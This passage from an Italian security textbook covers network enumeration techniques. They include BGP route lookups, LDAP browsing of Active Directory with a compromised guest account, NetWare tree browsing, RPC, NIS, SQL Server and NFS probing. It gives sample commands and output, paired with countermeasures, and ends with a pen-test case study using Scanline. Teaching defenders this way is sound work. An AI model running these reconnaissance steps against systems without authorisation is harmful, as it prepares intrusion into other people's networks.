Considerate inoltre la possibilità di utilizzare la SNMP V3, illustrata nelle RFC 2571–2575. La SNMP V3 è molto più sicura della V1 e mette a disposizione meccanismi avanzati di crittografia e autenticazione. (La V2 è stata soppiantata dalla V3, per cui non ne parleremo qui.) Malauguratamente, la V1 è la versione più spesso implementata e molte organizzazioni sono riluttanti a effettuare la migrazione a una versione più sicura.
Nei sistemi della famiglia Windows NT potete modificare il Registro di sistema in modo da consentire esclusivamente accessi autorizzati al nome comunità SNMP e impedire l'invio di informazioni su NetBIOS. Per prima cosa, aprite regedt32 e selezionate il percorso *HKLM\System\CurrentControlSet\Services\ SNMP\Parameters\ ValidCommunities*. Selezionate *Security\Permissions*, impostando le autorizzazioni in modo che vi possano accedere unicamente utenti noti. Quindi, spostatevi su *HKLM\System\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents*, eliminate il valore contenente la stringa "LANManager-MIB2Agent" e rinominate le voci rimanenti in modo da ricostruire la sequenza. Per esempio, se eliminate il valore numero 1, rinominate 2, 3 e così via, fino a quando la sequenza non inizia con 1 e termina con il numero totale dei valori presenti nell'elenco. Confidiamo che dopo aver letto questo paragrafo abbiate compreso i motivi per cui occorre assolutamente evitare che le informazioni interne dell'SNMP trapelino sulle reti pubbliche. Per maggiori informazioni sull'SNMP, consultate le RFC più recenti all'indirizzo `http://www.rfc-editor.org`.

Enumerazione mediante BGP, porta TCP 179

Diffusione:	*2*
Semplicità:	*6*
Impatto:	*2*
Fattore di rischio:	*2*

BGP (*Border Gateway Protocol*) è il protocollo di routing *de facto* su Internet ed è utilizzato dai router per propagare le informazioni necessarie a instradare i pacchetti IP alla loro destinazione. Guardando le tabelle BGP è possibile individuare le reti associate a una particolare azienda, da aggiungere poi all'archivio dei possibili host attaccabili. Non tutte le reti collegate a Internet "parlano" BGP e dovete tener presente che questo metodo può non funzionare sulla vostra rete aziendale: viene utilizzato solo dalle reti che dispongono di diversi collegamenti di tipo uplink, facenti capo a organizzazioni medio-grandi.
La metodologia è semplice. I passaggi necessari per svolgere l'enumerazione di route BGP sono i seguenti.

1. Determinate l'ASN (*Autonomous System Number*) dell'organizzazione bersaglio.
2. Eseguite una query sui router per identificare tutte le reti in cui il percorso AS Path termina con l'ASN dell'organizzazione.

Il protocollo BGP utilizza solo gli indirizzi di rete IP e gli ASN, che sono numeri interi da 16 bit, acquistati da ARIN per l'identificarsi in rete delle organizzazioni. ASN può essere paragonato a un indirizzo IP o, nel gergo di BGP, a un "numero di sistema autonomo". Poiché non è possibile eseguire comandi su un router utilizzando il nome di un'azienda, il primo passo da compiere è determinare l'ASN dell'organizzazione. Sono disponibili due tecniche apposite per effettuare questa operazione, in base al tipo di informazioni disponibili. Un approccio, se disponete del nome dell'azienda, consiste nell'eseguire una ricerca whois su ARIN con la parola chiave ASN (si veda la Figura 3.6).

```
Output from ARIN WHOIS

kpe (ASN-KPENY-AS)
   860 Broadway, 6th Floor
   New York, NY 10003
   US

   Autonomous System Name: KPENY-AS
   Autonomous System Number: 16394

   Coordinator:
      Wong, David  (DW686-ARIN)  dw280@hotmail.com
      (917) 864-9202

   Record last updated on 25-Apr-2000.
   Database last updated on 23-May-2001 22:44:44 EDT.
```

Figura 3.6

L'output di una ricerca su "ASN KPE". L'ASN viene identificato come 16394 per l'AS Name KPENY-AS.

In alternativa, se avete un indirizzo IP per l'organizzazione, potete interrogare un router e utilizzare l'ultima voce del percorso AS, come ASN. Per esempio, è possibile effettuare un'interrogazione telnet su un router pubblico ed eseguire i comandi seguenti. Identificate l'elenco dei numeri come percorso AS e utilizzate l'ultimo numero, 16394:

```
C:> telnet route-views.oregon-ix.net
route-views.oregon-ix.net>show ip bgp 63.79.158.1
BGP routing table entry for 63.79.158.0/24, version 7215687
Paths: (29 available, best #14)
  Not advertised to any peer
  8918 701 16394 16394
212.4.193.253 from 212.4.193.253 (212.4.193.253)
Origin IGP, localpref 100, valid, external
```

La seconda procedura consiste nell'interrogare il router utilizzando l'ASN, per determinare gli indirizzi di rete a esso associati:

```
route-views.oregon-ix.net>show ip bgp regexp _16394$
BGP table version is 8281239, local router ID is 198.32.162.100
Status codes: s suppressed, d damped, h history, * valid, > best, i -
③internal
Origin codes: i - IGP, e - EGP, ? - incomplete
   Network          Next Hop            Metric LocPrf Weight Path
*  63.79.158.0/24   212.4.193.253            0    8918   701 16394 16394
```

Il carattere underscore (_) è utilizzato per indicare uno spazio, il segno del dollaro ($) per indicare la fine del percorso AS: questo è necessario per filtrare gli ingressi in cui l'AS è una rete di transito. I percorsi duplicati nel listato dell'output sono stati eliminati perché inutili ai fini della spiegazione, ma la query ha identificato una rete, 63.79.158.0/24, come appartenente al KPE.
L'esecuzione di queste procedure e l'analisi dell'output è un compito noioso e adatto all'automazione. Lasciate lavorare il vostro codice!
Concludiamo con alcuni avvertimenti. Molte organizzazioni non utilizzano BGP e questa tecnica può non funzionare. In questo caso, se ricercate nel database ARIN, non riuscirete a trovare un ASN. Se utilizzate il secondo metodo, l'ASN restituito potrebbe essere l'ASN del provider di servizi che sta comunicando con messaggi BGP per conto del suo cliente. Consultate ARIN per determinare se disponete dell'ASN corretto. La tecnica che abbiamo mostrato è un processo lento, a causa del numero di voci di routing che devono essere ricercate.

Contromisure all'enumerazione mediante BGP

Purtroppo non esiste una buona contromisura per l'enumerazione dei router mediante BGP. Per i pacchetti da indirizzare alla vostra rete dovete utilizzare BGP. Una possibilità risiede nell'utilizzo di informazioni non identificabili in ARIN, anche se questo non impedisce il ricorso alla seconda tecnica per identificare l'ASN. Le organizzazioni che non utilizzano BGP non hanno nulla di cui preoccuparsi, mentre le altre possono consolarsi notando il basso fattore di rischio e rendendosi conto che possono essere utilizzate le altre tecniche descritte in questo capitolo per l'enumerazione di rete.

Enumerazione mediante il servizio Active Directory di Windows, con LDAP

Diffusione:	2
Semplicità:	2
Impatto:	5
Fattore di rischio:	3

La modifica più importante introdotta da Windows 2000 è l'aggiunta del servizio di directory basato sul protocollo LDAP (*Lightweight Directory Access Protocol*), denominato AD (*Active Directory*). AD è progettato per contenere una rappresentazione logica e unificata di tutti gli oggetti relativi all'infrastruttura tecnologica aziendale: di conseguenza, dal punto di vista dell'enumerazione, rappresenta un possibile punto

di fuoriuscita delle informazioni. Il Windows 2000 Support Tools (memorizzato nella cartella *Support/Tools* del CD di installazione del componente server) comprende un semplice client LDAP chiamato Active Directory Administration Tool (`ldp.exe`), che si collega a un server AD ed esplora il contenuto delle directory.

Analizzando i requisiti di sicurezza di Windows 2000 Release Candidates, nell'estate del 1999, abbiamo scoperto che accedendo a un controllore di dominio Win 2000 è possibile visualizzare l'elenco di tutti gli utenti e i gruppi esistenti, con una semplice interrogazione LDAP: la sola condizione richiesta per effettuare questa enumerazione è la creazione tramite LDAP di una connessione autenticata. Se un aggressore ha già manomesso un account del sistema target mediante altri mezzi, LDAP può fornire un meccanismo alternativo per enumerare gli utenti, nel caso in cui le porte NetBIOS siano bloccate o rese in qualche modo indisponibili.

Nell'esempio seguente illustriamo il meccanismo di enumerazione di utenti e gruppi utilizzando il client `ldp`. L'obiettivo dell'attacco è il controllore di dominio di Windows 2000 bigdc.labfarce.org, il cui contesto di root Active Directory è `DC=labfarce, DC=org`. Partiamo dall'ipotesi che l'account guest di BIGDC sia già stato manomesso e che la sua password sia "guest". I passaggi necessari sono elencati di seguito.

1. Per prima cosa, colleghiamoci al bersaglio utilizzando `ldp`: selezioniamo la voce di menu *Open Connection/Connect*, quindi digitiamo l'indirizzo IP o il nome DNS del server target. È possibile collegarsi alla porta LDAP 389 predefinita, oppure utilizzare la porta 3268 AD Global Catalog. La porta 389 è mostrata nella figura seguente.

2. Una volta stabilita la connessione, autentichiamoci come utente Guest compromesso. Per effettuare questa operazione è necessario selezionare la voce di menu *Connections/Bind*, assicurandosi di selezionare la casella *Domain* che riporta il nome di dominio corretto, e inserire le credenziali dell'utente Guest, come mostrato nella figura seguente.

3. Ora che abbiamo stabilito una sessione LDAP autenticata, possiamo enumerare utenti e gruppi. Apriamo il menu *View/Tree* e inseriamo il contesto di root nella finestra di dialogo visualizzata (per esempio, `dc=labfarce, dc=org`).

4. Sul pannello sinistro viene visualizzato un nodo. Facciamo clic sul simbolo + per aprire il nodo e visualizzare l'elenco degli oggetti base memorizzati sotto la root della directory.
5. Infine facciamo doppio clic per aprire i contenitori CN=Users e CN=Builtin ed enumerare tutti gli utenti e i gruppi predefiniti sul server. Nella Figura 3.7 viene visualizzato il contenitore *Users*.

Figura 3.7

La funzionalità Amministrazione di Active Directory, ldp.exe, enumera gli utenti e i gruppi di Active Directory, mediante una connessione autenticata.

Com'è possibile ottenere tutte queste informazioni partendo da una semplice connessione guest? Alcuni servizi NT 4 (come RAS e SQL Server) devono essere in grado di interrogare gli oggetti utente e gruppo contenuti in AD. La procedura di installazione del servizio AD di Windows 2000 (dcpromo) chiede se l'utente desidera impostare autorizzazioni di accesso ridotte sulla directory per consentire ai server esistenti di eseguire queste ricerche, come mostrato nella Figura 3.8. Se le autorizzazioni di accesso sono impostate durante l'installazione, è possibile accedere agli oggetti utente e gruppo per effettuare l'enumerazione utilizzando il protocollo LDAP.

Figura 3.8
La procedura guidata di installazione di Active Directory (dcpromo) chiede se le autorizzazioni predefinite per gli oggetti utente e gruppo devono essere ridotte, al fine di consentire l'accessibilità.

Contromisure all'enumerazione mediante il servizio Active Directory

Per prima cosa, filtrate l'accesso alle porte TCP 389 e 3268 sui dispositivi più esterni della rete: se non avete intenzione di esportare il servizio AD, nessuno dovrebbe disporre di un accesso non autenticato alla directory.
Per impedire la fuoriuscita di queste informazioni verso utenti non autorizzati su reti interne, non totalmente sicure, è necessario limitare le autorizzazioni di accesso al servizio AD. La differenza tra la modalità compatibile con i sistemi precedenti (leggi "meno sicura") e quella nativa Windows 2000 si riduce essenzialmente all'appartenenza al gruppo locale Pre-Windows 2000 Compatible Access. Il gruppo Pre-Windows 2000 Compatible Access dispone delle autorizzazioni di accesso alla directory mostrate nella Tabella 3.3.

Tabella 3.3 Autorizzazioni per gli oggetti utente e gruppo del servizio Active Directory per il gruppo Pre-Windows 2000 Compatible Access

Oggetto	Autorizzazioni	Valido per
Root directory	Elenca il contenuto	Questo oggetto e tutti i figli
Oggetti utente	Elenca il contenuto, Leggi tutte le proprietà, Leggi autorizzazioni	Oggetti utente
Oggetti gruppo	Elenca il contenuto, Leggi tutte le proprietà, Leggi autorizzazioni	Oggetti gruppo

La procedura guidata di installazione di Active Directory aggiunge automaticamente l'utente *Everyone* al gruppo Pre-Windows 2000 Compatible Access, se si seleziona

Questa caratteristica può rivelarsi straordinariamente utile nella gestione di collegamenti e login ma, dal punto di vista dell'hacker, una volta completato un attach, è possibile recuperare l'albero NDS contenente il server, il numero della connessione e l'indirizzo di rete completo, compresi il numero di rete e l'indirizzo del nodo, come mostrato nella Figura 3.10.

On-Site Admin - Novell Developer Support

File Help

SECRET

Servers | Vols/IRQs | Connections

Volume Information (x1000)

Volume Name	Name Space	Availible	Used	Free Blocks	Total
SYS	DOS	0	0	1,442,500	0

Reload | DisMount | Mount | Add NS | Remove NS

Interrupts Priority of IRQs: 0, 1, 2/9, 10, 11, 12, 13, 14, 15, 3, 4, 5, 6 7

Interrupt	Driver	IO Address	Device Type
0	System Timer		Standard
1	Keyboard		Standard
2	Video (Cascade to 9)	3C0-3CF	Standard
3	Serial Comm 2	300-31F	Standard
4	Serial Comm 1	3F8-3FF	Standard
5	Parallel Port 2	278-27F	Standard

1 Servers | 1 Volumes | 1 connections

Figura 3.10
L'utility Connessioni NetWare di Novell mostra l'albero NDS del quale il server fa parte, il numero della connessione e l'indirizzo di rete completo, incluso l'indicativo di rete e quello del nodo.

Questo potrà servire in seguito, per collegarsi al server e ottenere i diritti di amministratore (si veda a questo proposito il Capitolo 7).

On-Site Admin: controllo dei server Novell

Il prodotto On-Site Admin di Novell permette di esaminare lo stato di qualsiasi server presente in rete senza che sia necessario autenticarsi su un server. Invece di inviare proprie richieste broadcast, sembra che On-Site si limiti a visualizzare i server già riconosciuti nelle Risorse di rete (che inviano periodicamente messaggi per identificare i server Novell sulla rete). La Figura 3.11 mostra la quantità di informazioni restituita da On-Site Admin.
Un'altra "perla" all'interno di On-Site Admin è la funzione *Analyze*, visibile nella Figura 3.12: è sufficiente selezionare un server e premere il pulsante *Analyze* per ottenere tutte le informazioni sul volume. Il semplice utilizzo della funzione Analyze di On-Site Admin apre una connessione con il server attaccato.
Sebbene la fuga di queste informazioni non sia un fatto drammatico, esse sono un ulteriore contributo all'acquisizione di conoscenze sul sistema.

Figura 3.11
On-Site Admin di Novell è lo strumento più utile per enumerare le reti Novell.

Figura 3.12
On-Site Admin mostra informazioni sul volume.

Con On-Site Admin è possibile esplorare quasi interamente gli alberi NDS. In questo caso Client32 realizza effettivamente una connessione con il server selezionato all'interno dell'albero: questo perché, di default, NetWare 4.*x* permette a chiunque di esplorare l'albero. Nella Figura 3.13 sono mostrate alcune delle informazioni più delicate che è possibile raccogliere: utenti, gruppi, server, volumi, in pratica tutto!

Figura 3.13
On-Site Admin permette l'esplorazione totale dell'albero NDS.

Infine, nel novembre 2000 il team di ricerche sulla sicurezza Razor annunciò la presenza di un baco in NetWare 5.0 e 5.1 che consentiva l'enumerazione di oggetti in ambiente Novell, compresi oggetti NDS e listati dinamici nella tabella SAP (*Service Announcement Protocol*), che può includere notizie su prodotti hardware e software non Novell. Secondo Razor, questa vulnerabilità "avrebbe una portata simile a una... sessione nulla Windows contro un ...controllore di dominio". Razor ha rilasciato un tool chiamato NCPQuery in grado di sondare server vulnerabili ed enumerare oggetti tramite la porta TCP 524 (`http://razor.bindview.com/tool/index.shtml`).
Utilizzando le informazioni ottenute in questo modo, un aggressore può quindi passare alla penetrazione attiva nel sistema, come spiegheremo nel Capitolo 6.

Contromisure all'enumerazione di NetWare

Come sempre, la migliore difesa consiste nel limitare l'accesso ai servizi in questione. È ovvio che la presenza di IPX non sarà evidente al di là del firewall al confine con Internet; ma rammentate che gli intrusi possono accedere alle parti essenziali della rete IPX tramite la TCP 524. Non esponete questo protocollo all'accesso da reti non fidate.
Potete limitare la possibilità di esplorazione dell'albero NDS aggiungendo un filtro basato sui diritti di eredità (IRF) alla root dell'albero stesso. Le informazioni conte-

nute nell'albero sono incredibilmente delicate. Pertanto non vorrete che qualcuno le esplori casualmente.
Per prevenire l'enumerazione di oggetti tramite la falla in NetWare 5.x scoperta da Razor, eliminate Browse rights dall'oggetto NDS [Public] e consentite l'accesso all'albero unicamente agli utenti autenticati.

All'indirizzo `http://support.novell.com` *troverete le opportune patch per la sicurezza e alcuni consigli utili.*

Enumerazione in UNIX, porte TCP/UDP 111 e 3277

Diffusione:	*7*
Semplicità:	*10*
Impatto:	*1*
Fattore di rischio:	*6*

Come qualsiasi altra risorsa di rete, le applicazioni necessitano di un modo per comunicare tra loro sulla rete. Uno dei protocolli più utilizzati a questo scopo è RPC (*Remote Procedure Call*). RPC utilizza un programma detto portmapper (attualmente noto come `rpcbind`), che interpreta le richieste dei client alle porte, che vengono assegnate dinamicamente alle applicazioni in ascolto. Nonostante i problemi nei quali sono incorsi in passato gli amministratori di firewall, RPC è ancora estremamente popolare. `rpcinfo` è l'equivalente di `finger` per l'enumerazione delle applicazioni RPC in ascolto su host remoti, e può essere utilizzato su server che siano risultati in ascolto sulla porta 111 (`rpcbind`) o 32771 (portmapper alternativo di Sun) nelle scansioni precedenti:

```
[root$]rpcinfo -p 192.168.202.34
program vers proto   port
    100000    2   tcp    111  rpcbind
    100002    3   udp    712  rusersd
    100011    2   udp    754  rquotad
    100005    1   udp    635  mountd
    100003    2   udp   2049  nfs
    100004    2   tcp    778  ypserv
```

Questo indica agli aggressori che l'host sta eseguendo `rusersd`, NFS e NIS (`ypserv` è il server NIS). Quindi è possibile ottenere ulteriori informazioni utilizzando `rusers`, `showmount -e` e `pscan -n` (questi strumenti saranno illustrati nei paragrafi seguenti). Lo strumento `pscan` può essere utilizzato per enumerare anche queste informazioni utilizzando il parametro `-r`.
Nei sistemi Windows NT è possibile utilizzare una variante di `rpcinfo`, chiamata `rpcdump` e scritta da David Litchfield di Cerberus Information Security (per ulteriori informazioni consultate il sito Web all'indirizzo `http://www.atstake.com/research/tools/rpcdump.exe`). Il comportamento di `rpcdump` è analogo a `rpcinfo -p`, come mostrato di seguito:

```
C:\>rpcdump 192.168.202.105

Program no.    Name           Version Protocol       Port

(100000)       portmapper     4       TCP            111
```

```
(100000)        portmapper      3       TCP             222
(100001)        rstatd          2       UDP             32774
(100021)        nlockmgr        1       UDP             4045
```

Per gli hacker, ci sono anche altri modi di utilizzare RPC. La versione di UNIX Solaris di Sun prevede un secondo portmapper sulle porte superiori a 32771, quindi una versione modificata di `rpcinfo` indirizzata su tali porte, dalla quale si potrebbero ottenere tutte le informazioni, anche nel caso in cui la porta 111 sia bloccata.
Il migliore strumento di scansione RPC attualmente in circolazione è `nmap`, descritto dettagliatamente nel Capitolo 7, tuttavia un hacker potrebbe utilizzare alcuni parametri di `rpcinfo` per cercare particolari applicazioni RPC: per esempio, può verificare se il sistema target all'indirizzo 192.168.202.34 stia eseguendo il server TTDB (*ToolTalk DataBase*), di cui è noto almeno un problema di sicurezza (si veda il Capitolo 7). Si potrebbe per esempio utilizzare il comando seguente:

```
[root$]rpcinfo -n 32776 -t 192.168.202.34 100083
```

100083 è il "numero di programma" RPC associato a TTDB.
Se si utilizza `nmap` non è necessario fornire un preciso numero di programma (come il 100083). Sarà sufficiente aggiungere l'opzione `-sR`:

```
[root$]nmap -sS -sR 192.168.1.10

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )

Interesting ports on  (192.168.1.10):
(The 1495 ports scanned but not shown below are in state: closed)
Port        State       Service (RPC)
23/tcp      open        telnet
4045/tcp    open        lockd (nlockmgr V1-4)
6000/tcp    open        X11
32771/tcp   open        sometimes-rpc5 (status V1)
32772/tcp   open        sometimes-rpc7 (rusersd V2-3)
32773/tcp   open        sometimes-rpc9 (cachefsd V1)
32774/tcp   open        sometimes-rpc11 (dmispd V1)
32775/tcp   open        sometimes-rpc13 (snmpXdmid V1)
32776/tcp   open        sometimes-rpc15  (tttdbservd V1)

Nmap run completed -- 1 IP address (1 host up) scanned in 43 seconds
```

Contromisure all'enumerazione RPC

Non esiste un modo semplice per limitare questa fuga di informazioni, a parte utilizzare una qualche forma di autenticazione per RPC (consultate il vostro produttore RPC per sapere quali opzioni sono disponibili). In alternativa è possibile passare a un pacchetto quale Secure RPC di Sun che autentica sulla base di meccanismi crittografici a chiave pubblica. Infine accertatevi che le porte 111 e 32771 (`rpcbind`), oltre alle altre porte RPC, siano filtrate presso il firewall o disattivate sui sistemi UNIX.

Rwho (UDP 513) e Rusers (RPC Program 100002)

Diffusione:	*3*
Semplicità:	*8*
Impatto:	*1*
Fattore di rischio:	*4*

Scendendo nella catena alimentare al disotto di `finger`, troviamo due utility meno diffuse: `rusers` e `rwho`. `rwho` restituisce gli utenti attualmente connessi a un host remoto su cui viene eseguito il daemon `rwho` (`rwhod`):

```
[root$]rwho 192.168.202.34
root     localhost:ttyp0        Apr 11 09:21
jack     beanstalk:ttyp1        Apr 10 15:01
jimbo    192.168.202.77:ttyp2   Apr 10 17:40
```

`rusers` restituisce un elenco analogo, ma con il parametro `-l` riporta informazioni aggiuntive, come il tempo trascorso dall'ultima digitazione da parte dell'utente. Queste informazioni sono fornite dal programma RPC `rpc.rusersd`, se esso è in esecuzione. Come spiegato nella parte precedente di questo capitolo, tipicamente i portmapper RPC vengono eseguiti sulle porte TCP/UDP 111 e TCP/UDP 32771 su alcune postazioni Sun. Di seguito è mostrato un esempio in cui il client `rusers` enumera gli utenti connessi a un sistema UNIX:

```
[root$]rusers -l  192.168.202.34
root     192.168.202.34:tty1        Apr 10 18:58      :51
root     192.168.202.34:ttyp0       Apr 10 18:59      :02 (:0.0)
```

Contromisure a rwho e rusers

Analogamente a quanto visto per `finger`, questi servizi devono essere semplicemente disattivati. Poiché in genere essi vengono avviati indipendentemente dal superserver inetd, dovrete cercare riferimenti a `rpc.rwhod` e `rpc.rusersd` negli script di avvio (di solito si trovano in `/etc/init.d/` e `/etc/rc*.d`) in cui i servizi autonomi vengono attivati. Trasformate le righe opportune in commenti utilizzando il carattere #.

Enumerazione mediante NIS, programma RPC 100004

Diffusione:	*3*
Semplicità:	*8*
Impatto:	*1*
Fattore di rischio:	*4*

Tra le altre potenziali fonti di informazioni sulle reti UNIX ricordiamo NIS (*Network Information System*), un notevole esempio di come un'ottima idea (un database distribuito contenente le informazioni sulla rete) possa venire implementata rivolgendo scarsissima attenzione all'aspetto sicurezza. Il problema principale di NIS è che, una volta scoperto il nome di dominio NIS di un server, è possibile ottenere tutte le mappe NIS al suo interno mediante semplici interrogazioni RPC. Le mappe NIS

sono la rappresentazione distribuita delle informazioni critiche di ogni host di dominio, come il contenuto del file `passwd`. Un classico attacco a NIS prevede l'utilizzo degli strumenti client per cercare di ricostruire il nome di dominio. In alternativa, uno strumento come `pscan`, sviluppato da Pluvius e disponibile su numerosi archivi per hacker presenti su Internet, può estrarre le informazioni più interessanti utilizzando il parametro `-n`.

Contromisure per NIS

Un punto fermo degli utenti di NIS è "evitate di usare come nomi di dominio delle stringhe facili da individuare, come il nome della società, il nome nel DNS ecc.", perché in questo modo si permette agli hacker di recuperare una serie di informazioni tra cui i database delle password. Se non avete in previsione di passare a NIS+, che supporta la cifratura dei dati e l'autenticazione su RPC protetta, almeno modificate il file `/var/yp/securenets` in modo da limitare l'accesso a reti e host prestabiliti, oppure compilate l'applicazione `ypserv` attivando il supporto opzionale per i wrapper TCP. Evitate inoltre di includere nelle tabelle NIS le informazioni sugli account root e di sistema.

Enumerazione mediante il servizio di risoluzione SQL, porta UDP 1434

Diffusione:	*5*
Semplicità:	*8*
Impatto:	*2*
Fattore di rischio:	*5*

Tradizionalmente, Microsoft SQL Server è sempre stato in ascolto delle connessioni dei client sulla porta TCP 1433. A partire però da SQL Server 2000, Microsoft ha introdotto la possibilità di ospitare diverse istanze di SQL Server sullo stesso computer fisico (potete immaginare che un'istanza sia un server SQL virtuale distinto). Il problema è causato dal fatto che, in base alle regole del TCP/IP, la porta 1433 può funzionare unicamente come porta SQL di default per una delle istanze su una determinata macchina; le altre istanze devono essere assegnate a una porta TCP diversa. Il servizio di risoluzione dell'SQL Server stabilisce quali istanze sono in ascolto sulle varie porte per i client remoti (si tratta di un concetto analogo a quello del portmapper RPC, ossia di una specie di "mapper delle istanze" SQL). Il servizio di risoluzione dell'SQL Server rimane sempre in ascolto sulla UDP 1434 in SQL Server 2000 e versioni successive.

Il servizio di risoluzione dell'SQL Server è rimasto nell'anonimato finché qualche famoso guru della sicurezza su SQL si è accorto che era attivo di default nelle installazioni SQL Server 2000, pronto a fornire informazioni sulle istanze locali di SQL Server (o anche peggio, come vedremo in seguito). Uno di questi superesperti, Chip Andrews di sqlsecurity.com, ha rilasciato un prototipo di tool, chiamato SQLPing, che interroga la porta UDP 1434 e restituisce istanze in ascolto su una determinata macchina. Abbiamo utilizzato spesso SQLPing nelle valutazioni di client basate su Microsoft e la versione più recente di Chip (dotata di interfaccia grafica, scansione degli intervalli IP e identificazione delle password basata sulla forza bruta) è in grado di perlustrare allegramente gli ambienti SQL configurati in modo non corretto.

Pensate di essere al sicuro quando ascoltate su una porta non di default? Rifletteteci ancora. La Figura 3.14 mostra SQLPing 2.2 che esegue la scansione di alcuni indirizzi IP, sondando la UDP 1434 e provando la classica "password sa/null" contro tutte le istanze individuate.

Figura 3.14
SQLPing effettua scansioni alla ricerca di istanze di SQL Server e prova alcune password.

A parte i vantaggi derivanti dall'individuazione di istanze SQL non di default, la presenza della UDP 1434 può anche indicare la presenza di un grave buffer overflow basato sullo stack, scoperto da David Litchfield nel 2002 (consultare `http://www.nextgenss.com/advisories/mssql-udp.txt` e `http://www.microsoft.com/technet/security/bulletin/MS02-039.asp`).

Contromisure all'enumerazione mediante istanze SQL

Nel sito di Chip Andrews (`http://www.sqlsecurity.com`) sono riportate diverse operazioni che potete effettuare per rendere invisibili i vostri server a tool quali SQLPing. Il primo consiglio è quello di limitare l'accesso al servizio utilizzando un firewall. Più difficilmente attuabile il suggerimento alternativo di Chip: togliere tutte le librerie di comunicazioni di rete utilizzando l'SNU (*Server Network Utility*). Questa operazione renderebbe il vostro server SQL sordomuto e ottuso a meno che non specifichiate "(local)" o un punto (.), nel qual caso saranno possibili solo connessioni locali. Infine, potete utilizzare l'opzione "hide server" sotto TCP/IP netlib

nell'SNU ed eliminare tutte le altre librerie di rete. Chip riferisce di aver constatato derive irregolari della porta TCP di default sulla 2433 quando ha eseguito questa operazione. State perciò molto attenti.

Enumerazione mediante NFS, porta TCP/UDP 2049

Diffusione:	7
Semplicità:	10
Impatto:	1
Fattore di rischio:	6

L'utility UNIX `showmount` consente l'enumerazione dei file system esportati con NFS sulla rete. Supponete, per esempio, che una precedente scansione su un possibile obiettivo abbia indicato che la porta 2049 (NFS) è in ascolto. `showmount` permetterà di scoprire esattamente quali directory vengono condivise:

```
[root$]showmount -e 192.168.202.34
 export list for 192.168.202.34:
 /pub                                (everyone)
 /var                                (everyone)
 /usr                                user
```

Il parametro `-e` restituisce l'elenco degli export del server NFS.

Contromisure all'enumerazione mediante NFS

Sfortunatamente, per questo problema non esistono particolari rimedi, in quanto si tratta del funzionamento standard di NFS. Assicuratevi che per i file system esportati siano definite correttamente le autorizzazioni (l'accesso in lettura/scrittura dovrebbe essere consentito solo agli host specificati) e che NFS venga bloccato sul firewall (porta 2049). Le richieste `showmount` possono anche essere registrate, cosa questa che può servire a intercettare intrusi malintenzionati.

NFS non è più l'unico sistema di condivisione dei file system disponibile in UNIX/Linux, grazie alla crescente popolarità di Samba, una suite software open source in grado di fornire servizi file e di stampa ai client SMB (*Server Message Block*), che, come illustrato in precedenza, costituisce la base delle reti in ambiente Windows. Samba è disponibile all'indirizzo `http://www.samba.org` ed è incluso nelle principali distribuzioni di Linux. Nonostante il file di configurazione del server Samba (*../etc/smb.conf*) preveda alcuni semplici parametri per la gestione della sicurezza, un errore di configurazione può comunque lasciare poco protette le condivisioni in rete.

Parte II

Hacking dei sistemi

4 Hacking di Windows 95/98 e Me

5 Hacking di Windows NT

6 Hacking di Novell NetWare

7 Hacking di UNIX

Caso di studio: rischi del pen-testing

Nella Parte II, "Hacking dei sistemi", analizzeremo dettagliatamente i diversi tool e le tecniche utilizzate per ottenere l'accesso non autorizzato a sistemi di ogni tipo e modello: Windows 9*x*/Me/NT/2000/XP, Novell, UNIX, Linux e via dicendo. In questa trattazione, ci atterremo strettamente alla nostra metodologia per ottenere il controllo a livello superuser dei sistemi tramite la rete e a livello locale.

Prima di dare inizio alla ricerca del superuser, è necessario segnalare un episodio recente verificatosi nel nostro lavoro di consulenti. Questo episodio reale mette in evidenza come una violazione di un sistema apparentemente insignificante possa tradursi in un'ingente perdita finanziaria.

Nella nostra qualità di consulenti, abbiamo preso parte a decine di attacchi informatici simulati contro nostri clienti (una tecnica nota con il nome di *penetration testing* o *pen-testing*). In queste circostanze, dobbiamo spesso affrontare l'atteggiamento ostile degli esperti di tecnologie che lavorano per il cliente. Recentemente, abbiamo accettato un incarico in cui questo atteggiamento ostile si è rivelato maggiore; in effetti, aveva tutta l'aria di un imminente tranello.

Nel corso della riunione preliminare, ci siamo resi immediatamente conto che le regole di questo incarico erano distorte a favore del team degli addetti alla sicurezza. La nostra intuizione è stata confermata quando il cliente, la cui azienda vantava una massiccia presenza su Internet, ci ha fornito appena sette IP colpiti, scelti tra oltre 65.000 possibili host.

Ci è venuta alla mente una famosa battuta del film *Blues Brothers*, "Mancano 106 miglia a Chicago, abbiamo il serbatoio pieno, mezzo pacchetto di sigarette, è buio e portiamo tutti e due gli occhiali da sole", seguita dall'altrettanto memorabile risposta: "Vai!"

Abbiamo iniziato con alcuni controlli ICMP preliminari per individuare gli host attivi, ma come al solito siamo rimasti a mani vuote (come la maggior parte delle reti affacciate su Internet, anche questa bloccava apparentemente le richieste di ping ICMP). Nella fase successiva abbiamo effettuato scansioni delle porte TCP e UDP, per individuare i servizi a nostra disposizione per l'attacco. Utilizzando il tool di scansione Scanline di Foundstone (`http://www.foundstone.com`) e l'opzione `-p` (affinché la scansione non fosse basata su ping), abbiamo individuato unicamente i servizi Web previsti, in esecuzione sulle porte TCP 80 e 443. Poiché ci siamo serviti anche dello switch `-b` di Scanline per acquisire simultaneamente i banner di servizio, i server sono stati rapidamente identificati come sistemi Microsoft Windows 2000 mediante i loro banner IIS 5.0 HTTP:

```
C:\>sl -p -b 192.168.1.10-16
ScanLine (TM) 1.01
Copyright (c) Foundstone, Inc. 2002
http://www.foundstone.com

Scan of 7 IPs started at Mon Dec 30 15:30:23 2002

-------------------------------------------------------------------------
192.168.1.10
Responds with ICMP unreachable: No
TCP ports: 80
UDP ports:
```

```
TCP 80:
[HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Mon, 30 Dec 2002 23:30:22 GMT P
-------------------------------------------------------------------------------
Scan finished at Mon Dec 30 15:30:48 2002
7 IPs and 267 ports scanned in 0 hours 0 mins 25.13 secs
```

I membri del nostro team hanno iniziato a perlustrare i server alla ricerca di punti vulnerabili IIS di dominio pubblico, ma non ne hanno individuato alcuno. Durante questa operazione, abbiamo utilizzato anche `sl` per effettuare scansioni complete delle porte TCP dei sette host, sperando di trovare un servizio poco noto che ci aiutasse a entrare passando dalla porta d'ingresso principale di questa rete parziale. Al termine delle scansioni complete, ci siamo trovati con un pugno di mosche.
